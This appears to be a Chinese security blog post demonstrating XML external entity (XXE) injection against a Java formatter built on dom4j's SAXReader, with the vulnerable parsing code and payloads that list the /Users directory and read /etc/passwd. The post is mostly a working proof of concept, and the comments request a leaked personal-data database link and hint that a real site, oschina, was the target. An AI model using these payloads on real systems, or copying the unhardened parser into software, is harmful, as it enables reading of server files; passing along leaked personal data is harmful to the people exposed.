dom4j xml 格式化解析实体注入

yzmm
936 阅读
解析代码:
import java.io.StringReader;
import java.io.StringWriter;
import org.dom4j.Document;
import org.dom4j.io.OutputFormat;
import org.dom4j.io.SAXReader;
import org.dom4j.io.XMLWriter;
public class XmlFormat {
	public static String format(String str)	throws Exception {
		SAXReader reader = new SAXReader();
		// System.out.println(reader);
		// 注释:创建一个串的字符输入流
		StringReader in = new StringReader(str);
		Document doc = reader.read(in);
		// System.out.println(doc.getRootElement());
		// 注释:创建输出格式
		OutputFormat formater = OutputFormat.createPrettyPrint();
		//formater=OutputFormat.createCompactFormat();
		// 注释:设置xml的输出编码
		formater.setEncoding("utf-8");
		// 注释:创建输出(目标)
		StringWriter out = new StringWriter();
		// 注释:创建输出流
		XMLWriter writer = new XMLWriter(out, formater);
		// 注释:输出格式化的串到目标中,执行后。格式化后的串保存在out中。
		writer.write(doc);
		writer.close();
		System.out.println(out.toString());
		// 注释:返回我们格式化后的结果
		return out.toString();
	}
	public static void main(String[] args) throws Exception {
		String str = "<?xml version=\"1.0\" encoding=\"UTF-8\"?><!DOCTYPE test [<!ELEMENT test ANY ><!ENTITY xxe SYSTEM \"file:///Users\" >]><root><name>&xxe;</name></root>";
		format(str);
	}
}

列取/Users目录:

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [<!ELEMENT test ANY ><!ENTITY xxe SYSTEM "file:///Users" >]><root><name>&xxe;</name></root>
1 读文件:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE test [<!ELEMENT test ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><root><name>&xxe;</name></root>
2

评论 (7)

WeirdBird
对了,话说,你百度盘里面的 社工库 分享链接失效了- - ,私密分享下呗,如果可以的话
WeirdBird
oschina 通过 xml 注入的话, shell 又是如何写入的呢?
yzmm
我没写明是oschina,被你发现了。不过这个没法直接写shell的哦。

发表评论